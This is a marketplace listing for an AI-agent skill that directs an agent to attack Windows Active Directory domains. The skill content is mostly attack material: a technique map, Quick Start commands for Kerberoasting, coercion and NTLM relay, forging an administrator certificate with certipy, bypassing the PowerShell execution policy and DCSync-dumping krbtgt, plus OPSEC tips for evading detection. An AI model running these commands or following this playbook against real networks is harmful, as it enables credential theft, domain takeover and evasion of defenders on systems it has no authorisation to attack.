agentsclimarketplace

Active directory attack

Skill hypnguyen1209/offensive-claude/skills/active-directory-attack

Use when attacking a Windows Active Directory domain — Kerberos roasting/delegation, coercion + NTLM/Kerberos relay (CVE-2025-33073), ADCS ESC1-16 (EKUwu), ticket forgery & DCSync, dMSA BadSuccessor (CVE-2025-53779), BloodHound attack-path enumeration, domain dominanceFrom its SKILL.md

Install
npx -y skills add hypnguyen1209/offensive-claude --skill active-directory-attack

Assembled from the repository path, not quoted from the project. Check it against their README if it does not work.

One thing to look at

  • runs commandsInstructs the agent to run 8 commands, including `sudo ntpdate <DC_IP>` and 7 more.

SKILL.md

8.9 KB, ~2.3k tokens by cl100k_base, as published. Nobody here has run it

Active Directory Attacks

When to Activate

  • Attacking Windows domain environments after gaining any domain foothold (creds, hash, or unauth network position)
  • Kerberos exploitation: Kerberoasting, AS-REP roasting, delegation (RBCD/constrained/unconstrained), ticket forgery
  • Coercion + NTLM/Kerberos relay chains (PetitPotam/DFSCoerce → LDAP/ADCS, NTLM reflection CVE-2025-33073)
  • ADCS certificate-template abuse (ESC1-ESC16) and certificate-based domain takeover
  • dMSA / BadSuccessor privilege escalation on Windows Server 2025 domains
  • BloodHound CE attack-path discovery, lateral movement, DCSync, and domain-dominance persistence

Technique Map

TechniqueATT&CKCWEReferenceScript
BloodHound CE / SharpHound enumerationT1482CWE-732references/bloodhound-enum-lateral.mdscripts/ad_recon.py
Password spray / PtH / PtT lateral movementT1550.002, T1550.003CWE-522references/bloodhound-enum-lateral.mdscripts/ad_recon.py
LAPS / gMSA password readT1003CWE-522references/bloodhound-enum-lateral.mdscripts/ad_recon.py
KerberoastingT1558.003CWE-261references/kerberos-roasting-delegation.mdscripts/kerberoast_audit.py
AS-REP roastingT1558.004CWE-308references/kerberos-roasting-delegation.mdscripts/kerberoast_audit.py
Resource-Based Constrained Delegation (RBCD)T1558, T1098CWE-269references/kerberos-roasting-delegation.mdscripts/rbcd_takeover.py
Constrained/Unconstrained delegation (S4U)T1558CWE-269references/kerberos-roasting-delegation.mdscripts/rbcd_takeover.py
Coercion (PetitPotam/DFSCoerce/PrinterBug/WebDAV)T1187CWE-294references/coercion-relay.mdscripts/coerce_relay_chain.sh
NTLM relay (SMB/LDAP/ADCS)T1557.001CWE-294references/coercion-relay.mdscripts/coerce_relay_chain.sh
NTLM reflection (CVE-2025-33073)T1187, T1557.001CWE-294references/coercion-relay.mdscripts/coerce_relay_chain.sh
Kerberos relay / DNS CNAME (CVE-2026-20929)T1557CWE-294references/coercion-relay.mdscripts/coerce_relay_chain.sh
ADCS ESC1 (SAN) / ESC15 EKUwu (CVE-2024-49019)T1649CWE-295references/adcs-abuse.mdscripts/adcs_esc_finder.py
ADCS ESC8 relay / ESC16 CA-wide overrideT1649, T1557.001CWE-295references/adcs-abuse.mdscripts/adcs_esc_finder.py
Golden / Silver / Diamond / Sapphire ticketT1558.001, T1558.002CWE-345references/ticket-forgery-dcsync.md-
DCSync (DRSUAPI replication)T1003.006CWE-269references/ticket-forgery-dcsync.md-
noPac / sAMAccountName spoofing (CVE-2021-42278/87)T1558CWE-287references/ticket-forgery-dcsync.md-
dMSA BadSuccessor (CVE-2025-53779)T1098, T1558CWE-269references/dmsa-badsuccessor.mdscripts/Get-BadSuccessorOUPermissions.ps1

Quick Start

# 0. Sync clock to DC (Kerberos needs +/-5 min)
sudo ntpdate <DC_IP>   # or: faketime "$(net time -S <DC>)" <cmd>

# 1. Enumerate: BloodHound CE collection (Linux) + own the graph
bloodhound-python -u user -p 'Pass' -d corp.local -dc dc01.corp.local -ns <DC_IP> -c all --zip
#   (use the bloodhound-ce branch; legacy collectors break CE ingest)
nxc ldap <DC_IP> -u user -p 'Pass' --bloodhound --collection All --dns-server <DC_IP>

# 2. Cheap wins on the graph: roast everything visible
python3 scripts/kerberoast_audit.py -d corp.local --dc-ip <DC_IP> -u user -p 'Pass' --asrep --kerberoast

# 3. Coerce + relay to LDAP/ADCS (RBCD or cert) if signing/EPA weak
bash scripts/coerce_relay_chain.sh corp.local user 'Pass' <DC_IP> <RELAY_IP> ldap

# 4. ADCS path: find ESC1-16 and grab a DA cert
python3 scripts/adcs_esc_finder.py -d corp.local -u user -p 'Pass' --dc-ip <DC_IP>
certipy req -u [email protected] -p 'Pass' -ca CA -template Vuln -upn [email protected]
certipy auth -pfx administrator.pfx -dc-ip <DC_IP>          # -> NT hash / TGT

# 5. Windows Server 2025 present? Check BadSuccessor exposure
powershell -ep bypass -File scripts/Get-BadSuccessorOUPermissions.ps1

# 6. Domain dominance: DCSync krbtgt -> Golden ticket / persistence
impacket-secretsdump -just-dc-user 'corp\krbtgt' corp.local/da:'Pass'@<DC_IP>

OPSEC & Detection (summary)

TechniqueTelemetry / IOCDetection (Sigma / EDR)OPSEC note
SharpHound/LDAP enumHundreds of LDAP queries from one host; 4662 directory accessSIEM rule: single source > N LDAP queries/minute; ADWS 9389 spikesThrottle --throttle/--jitter; prefer ADWS (SOAPHound) to dodge LDAP heuristics
Kerberoasting4769 TGS-REQ with RC4 (0x17) for many SPNs from one hostSigma win_security_susp_kerberos_manipulation; alert on RC4 TGS burstsRequest AES-only SPNs sparingly; /rc4opsec; roast few accounts, slow
AS-REP roasting4768 AS-REQ no-preauth; etype 23Alert on AS-REQ for DONT_REQ_PREAUTH accountsOnly target accounts BloodHound flags; offline crack
CoercionEFSRPC/DFSNM/RPRN named-pipe calls; auth from server to odd hostSigma coercion/PetitPotam; RPC firewall (RpcFilter) logsCoercion is "by design"; NTLM removal on 2025/24H2 forces Kerberos fallback
NTLM relay / reflection4624/4648 NTLM logon to self; SMB→LDAP from non-serverDetect SMB-signing:False targets; CVE-2025-33073 DNS marshalled recordNeeds signing:False target; patch (Jun 2025) detects marshalled DNS struct
ADCS ESC4886/4887 cert issuance; cert with arbitrary SAN/UPN; client-auth EKU on web templateSigma ADCS issuance anomalies; certutil monitoring; ESC15 EKU injectionRestore templates (ESC4); EPA on certsrv breaks ESC8 relay
Ticket forgeryTGT lifetime anomalies; PAC w/o validation; 4769 for krbtgt SPNGolden: ticket lifetime > policy; Sapphire mimics real PAC (hard)Match domain ticket policy lifetimes; use AES keys not RC4
DCSync4662 DRSUAPI GetNCChanges from non-DCSigma dcsync; alert DRSUAPI replication from non-DC IPRun from a host that looks like a DC; avoid /all, target krbtgt only
dMSA BadSuccessor5137 dMSA create; 5136 write to msDS-ManagedAccountPrecededByLinkSigma SharpSuccessor exec; SACL on dMSA attrs (off by default!)Patched (Aug 2025) needs both sides controlled; still a creds-dump primitive

Deep Dives

  • references/bloodhound-enum-lateral.md — BloodHound CE v8 / OpenGraph, SharpHound CE & bloodhound-ce collectors, NetExec, high-value Cypher, password spray, PtH/PtT/OverPtH, LAPS v1/v2 + gMSA reads, AdminSDHolder/DSRM/Skeleton-Key persistence.
  • references/kerberos-roasting-delegation.md — Kerberoasting (incl. targeted/GenericWrite), AS-REP roasting, RBCD, constrained/unconstrained delegation, S4U2self/S4U2proxy abuse, tgt::deleg, hashcat modes.
  • references/coercion-relay.md — All five coercion methods + WebDAV/efsr_spray, NTLM relay to SMB/LDAP/ADCS, NTLM reflection (CVE-2025-33073), Kerberos relay & DNS CNAME (CVE-2026-20929), shadow-credential relay.
  • references/adcs-abuse.md — ESC1-ESC16 catalog with Certipy v5, EKUwu/ESC15 (CVE-2024-49019), ESC16 CA-wide override, ESC8 relay, ESC9/ESC10 mapping bypass, certificate persistence.
  • references/ticket-forgery-dcsync.md — Golden/Silver/Diamond/Sapphire tickets, DCSync, noPac (CVE-2021-42278/87), PAC validation enforcement (CVE-2024-26248/29056), trust/SID-history & cross-forest.
  • references/dmsa-badsuccessor.md — dMSA migration internals, BadSuccessor (CVE-2025-53779), pre/post-patch behavior, SharpSuccessor / bloodyAD / NetExec tooling, detection.

What ships with it: 12 files

73.4 KB alongside SKILL.md, 6 of them executable

Gives 0 of the 12 instructions most security skills give in ~2.3k tokens

Counted across 666 of the 889 authors here whose files we hold, read 2026-09-06

  • Use parameterized queries for database accessin 82 of 666, across 79 files
  • Hash passwords with BCryptin 55 of 666, across 39 files
  • Implement rate limiting for public endpointsin 48 of 666, across 34 files
  • Use environment variables for secretsin 35 of 666
  • Scan dependencies for vulnerabilitiesin 35 of 666, across 24 files
  • Validate and sanitize all user inputin 35 of 666, across 32 files
  • Add security headers to all responsesin 34 of 666, across 20 files
  • Validate all external input at the system boundaryin 26 of 666, across 25 files
  • Use parameterized queries to prevent SQL injectionin 25 of 666, across 13 files
  • Store secrets in Vault or environment variablesin 25 of 666, across 10 files
  • Run containers as a non-root userin 21 of 666, across 18 files
  • Validate all input using Bean Validationin 19 of 666, across 5 files

Said here and by no other author read

  • sync system clock to domain controller
  • enumerate domain using bloodhound
  • roast kerberos service accounts
  • coerce authentication for relay
  • relay ntlm to ldap or adcs
  • identify adcs certificate template vulnerabilities

Grouped from the skills themselves: near-identical wordings counted once, and counted by distinct author, so one author publishing three of these counts once. Length counted with cl100k_base; the agent that loads this file may tokenize it differently.

Keep looking

Skills are one crate of 325,949. Ordering is by how many stacks a row turns up in, so the top of any crate is what has actually been picked rather than what has the most stars.